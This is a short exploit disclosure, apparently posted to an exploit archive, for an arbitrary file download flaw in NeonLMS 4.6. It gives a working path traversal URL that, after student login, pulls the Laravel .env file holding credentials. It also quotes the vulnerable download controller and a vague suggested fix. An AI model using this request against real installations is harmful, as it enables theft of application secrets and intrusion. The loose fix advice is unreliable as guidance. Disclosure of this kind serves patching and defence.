NeonLMS Learning Management System PHP Laravel Script 4.6 File Download Vulnerability--
Kod:
# Exploit Title: NeonLMS - Learning Management System PHP Laravel Script - 'Arbitrary' File Download
# Exploit Author: th3d1gger
# Vendor Homepage: https://www.neonlms.com/
# Software Link: https://codecanyon.net/item/neonlms-learning-management-system-php-laravel-script/23641351
# Affected Version: 4.6
# Tested on: Windows
# CVE : N/A
#Vulnerable Request:
After Authentication as student,
browse https://neonlmshost/laravel-filemanager/download?file=/../../../.env
#Vulnerable code
\vendor\unisharp\laravel-filemanager\src\Controllers\DownloadController.php
public function getDownload()
{
return response()->download(parent::getCurrentPath(request('file')));
}
#fix
maybe devteam can use "auth user role check" in that function.
or can update it.
# 0day.today [2020-06-13] #